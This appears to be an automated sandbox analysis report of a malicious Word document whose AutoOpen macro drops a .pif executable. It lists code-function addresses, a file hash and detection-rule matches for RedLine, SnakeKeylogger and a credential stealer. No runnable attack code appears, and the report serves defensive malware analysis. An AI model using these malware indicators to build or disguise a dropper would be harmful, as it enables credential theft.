Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E0508	10_2_250E0508
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EEB1F	10_2_250EEB1F
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E9D10	10_2_250E9D10
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250ECF10	10_2_250ECF10
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EA33F	10_2_250EA33F
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E8730	10_2_250E8730
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EB930	10_2_250EB930
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E7140	10_2_250E7140
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250ED550	10_2_250ED550
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EA350	10_2_250EA350
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EBF62	10_2_250EBF62
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EF170	10_2_250EF170
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E8D70	10_2_250E8D70
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EBF70	10_2_250EBF70
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EDB90	10_2_250EDB90
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E7790	10_2_250E7790
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EA990	10_2_250EA990
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EF7A0	10_2_250EF7A0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E09BF	10_2_250E09BF
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EF7B0	10_2_250EF7B0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EC5B0	10_2_250EC5B0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E93B0	10_2_250E93B0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EE1D0	10_2_250EE1D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E7DD0	10_2_250E7DD0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EAFD0	10_2_250EAFD0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250ECBF0	10_2_250ECBF0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E99F0	10_2_250E99F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E0006	10_2_250E0006
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E8410	10_2_250E8410
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EB610	10_2_250EB610
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250ED230	10_2_250ED230
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EA030	10_2_250EA030
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E0040	10_2_250E0040
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EBC40	10_2_250EBC40
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EEE50	10_2_250EEE50
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EBC50	10_2_250EBC50
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E8A50	10_2_250E8A50
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E7460	10_2_250E7460
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250ED870	10_2_250ED870
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E7470	10_2_250E7470
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EA670	10_2_250EA670
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EF490	10_2_250EF490
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E9090	10_2_250E9090
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EC290	10_2_250EC290
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EDEA1	10_2_250EDEA1
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EDEB0	10_2_250EDEB0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E7AB0	10_2_250E7AB0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EACB0	10_2_250EACB0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EFAC1	10_2_250EFAC1
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EB2DF	10_2_250EB2DF
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EFAD0	10_2_250EFAD0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EC8D0	10_2_250EC8D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E96D0	10_2_250E96D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E04FA	10_2_250E04FA
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EE4F0	10_2_250EE4F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250E80F0	10_2_250E80F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250EB2F0	10_2_250EB2F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F6120	10_2_250F6120
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250FC770	10_2_250FC770
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250FDEA8	10_2_250FDEA8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250FF108	10_2_250FF108
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F4500	10_2_250F4500
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F1300	10_2_250F1300
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F2F11	10_2_250F2F11
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F2F20	10_2_250F2F20
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F4B40	10_2_250F4B40
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F1940	10_2_250F1940
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F3560	10_2_250F3560
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F0360	10_2_250F0360
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F5180	10_2_250F5180
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F1F80	10_2_250F1F80
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F3BA0	10_2_250F3BA0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F09A0	10_2_250F09A0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F57C0	10_2_250F57C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F25C0	10_2_250F25C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F41E0	10_2_250F41E0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F0FE0	10_2_250F0FE0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F5E00	10_2_250F5E00
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F2C00	10_2_250F2C00
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F4820	10_2_250F4820
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F1620	10_2_250F1620
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F3240	10_2_250F3240
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F0040	10_2_250F0040
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F4E60	10_2_250F4E60
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F1C60	10_2_250F1C60
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F3880	10_2_250F3880
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F0680	10_2_250F0680
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F54A0	10_2_250F54A0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F22A0	10_2_250F22A0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250FFAC9	10_2_250FFAC9
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F3EC0	10_2_250F3EC0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F0CC0	10_2_250F0CC0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250FFAD8	10_2_250FFAD8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F28E0	10_2_250F28E0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250F5AE0	10_2_250F5AE0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_250FF0F8	10_2_250FF0F8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25250740	10_2_25250740
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25250040	10_2_25250040
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25252338	10_2_25252338
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_2525A2B0	10_2_2525A2B0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_2525AE34	10_2_2525AE34
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25250E38	10_2_25250E38
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25252A38	10_2_25252A38
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25251538	10_2_25251538
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_2525B640	10_2_2525B640
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25251C38	10_2_25251C38
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25253F20	10_2_25253F20
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25250730	10_2_25250730
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_2525232A	10_2_2525232A
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25250E28	10_2_25250E28
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25252A29	10_2_25252A29
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_2525152A	10_2_2525152A
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_2525B658	10_2_2525B658
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_252591E0	10_2_252591E0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_252591D0	10_2_252591D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25251C29	10_2_25251C29
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25B9BDC8	10_2_25B9BDC8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25B96708	10_2_25B96708
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25B9D138	10_2_25B9D138
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_25B9D12C	10_2_25B9D12C
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: 12_2_028B20C4	12_2_028B20C4
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_00408C60	15_2_00408C60
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_0040DC11	15_2_0040DC11
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_00407C3F	15_2_00407C3F
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_00418CCC	15_2_00418CCC
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_00406CA0	15_2_00406CA0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_004028B0	15_2_004028B0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_0041A4BE	15_2_0041A4BE
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_00418244	15_2_00418244
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_00401650	15_2_00401650
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_00402F20	15_2_00402F20
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_004193C4	15_2_004193C4
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_00418788	15_2_00418788
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_00402F89	15_2_00402F89
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_00402B90	15_2_00402B90
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_004073A0	15_2_004073A0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1A4012C0	15_2_1A4012C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1A4012B0	15_2_1A4012B0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1A401560	15_2_1A401560
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEB5FA8	15_2_1EEB5FA8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBAF00	15_2_1EEBAF00
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEB8F18	15_2_1EEB8F18
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBBD61	15_2_1EEBBD61
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBBA7F	15_2_1EEBBA7F
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBAA58	15_2_1EEBAA58
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEB5823	15_2_1EEB5823
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBB7A0	15_2_1EEBB7A0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBB4C0	15_2_1EEBB4C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBD490	15_2_1EEBD490
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBF0C8	15_2_1EEBF0C8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEB41EB	15_2_1EEB41EB
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBB1DF	15_2_1EEBB1DF
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBAC20	15_2_1EEBAC20
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBD480	15_2_1EEBD480
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBE5E8	15_2_1EEBE5E8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBE5ED	15_2_1EEBE5ED
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBE5D9	15_2_1EEBE5D9
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEB33D5	15_2_1EEB33D5
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_1EEBF0DD	15_2_1EEBF0DD
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20077808	15_2_20077808
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20070040	15_2_20070040
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20073508	15_2_20073508
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20078550	15_2_20078550
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007BE30	15_2_2007BE30
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20070E38	15_2_20070E38
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20070738	15_2_20070738
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20070006	15_2_20070006
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007D832	15_2_2007D832
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007D840	15_2_2007D840
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20077080	15_2_20077080
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007DC88	15_2_2007DC88
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007DC98	15_2_2007DC98
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007E0E0	15_2_2007E0E0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007E0F0	15_2_2007E0F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_200734F8	15_2_200734F8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007E538	15_2_2007E538
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20078540	15_2_20078540
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007E548	15_2_2007E548
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007B56F	15_2_2007B56F
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007B580	15_2_2007B580
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007E990	15_2_2007E990
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007E9A0	15_2_2007E9A0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007B9C8	15_2_2007B9C8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007B9D8	15_2_2007B9D8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007EDE9	15_2_2007EDE9
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007EDF8	15_2_2007EDF8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007BE20	15_2_2007BE20
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20070E29	15_2_20070E29
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20077A28	15_2_20077A28
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007F242	15_2_2007F242
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007F250	15_2_2007F250
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007C27A	15_2_2007C27A
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007C288	15_2_2007C288
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007F6A8	15_2_2007F6A8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007C6D0	15_2_2007C6D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007C6E0	15_2_2007C6E0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007FAF1	15_2_2007FAF1
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007FB00	15_2_2007FB00
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007072A	15_2_2007072A
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007CB38	15_2_2007CB38
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007CF82	15_2_2007CF82
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007CF90	15_2_2007CF90
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007D3D8	15_2_2007D3D8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2007D3E8	15_2_2007D3E8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20086C18	15_2_20086C18
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20089EB0	15_2_20089EB0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20087AF0	15_2_20087AF0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_200865C0	15_2_200865C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2008DA00	15_2_2008DA00
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_2008DA05	15_2_2008DA05
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20084610	15_2_20084610
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20084620	15_2_20084620
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_20081A40	15_2_20081A40

Source: ITT # KRPBV2663 .doc	OLE, VBA macro line: Sub AutoOpen()
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function AutoOpen			Name: AutoOpen

Source: ITT # KRPBV2663 .doc

OLE indicator, VBA macros: true

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Libraries\jphwmyiA.pif BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C

Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: String function: 0040D606 appears 48 times
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: String function: 0040E1D8 appears 88 times
Source: C:\Windows\SysWOW64\brightness.exe	Code function: String function: 027C8798 appears 54 times
Source: C:\Windows\SysWOW64\brightness.exe	Code function: String function: 027B44D0 appears 33 times
Source: C:\Windows\SysWOW64\brightness.exe	Code function: String function: 027B480C appears 931 times
Source: C:\Windows\SysWOW64\brightness.exe	Code function: String function: 027B44AC appears 74 times
Source: C:\Windows\SysWOW64\brightness.exe	Code function: String function: 027C881C appears 45 times
Source: C:\Windows\SysWOW64\brightness.exe	Code function: String function: 027B46A4 appears 244 times
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: String function: 028B480C appears 619 times
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: String function: 028B46A4 appears 154 times
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Code function: String function: 028C8798 appears 48 times

Source: 10.2.jphwmyiA.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.1.jphwmyiA.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.jphwmyiA.pif.22770ee8.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 19.2.jphwmyiA.pif.22770ee8.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.2.jphwmyiA.pif.22770ee8.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.jphwmyiA.pif.23600ee8.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.jphwmyiA.pif.23600ee8.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.jphwmyiA.pif.23600ee8.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.jphwmyiA.pif.20d899de.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.jphwmyiA.pif.20d899de.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.jphwmyiA.pif.20d899de.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.jphwmyiA.pif.20d899de.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.jphwmyiA.pif.23600000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 19.2.jphwmyiA.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 15.2.jphwmyiA.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
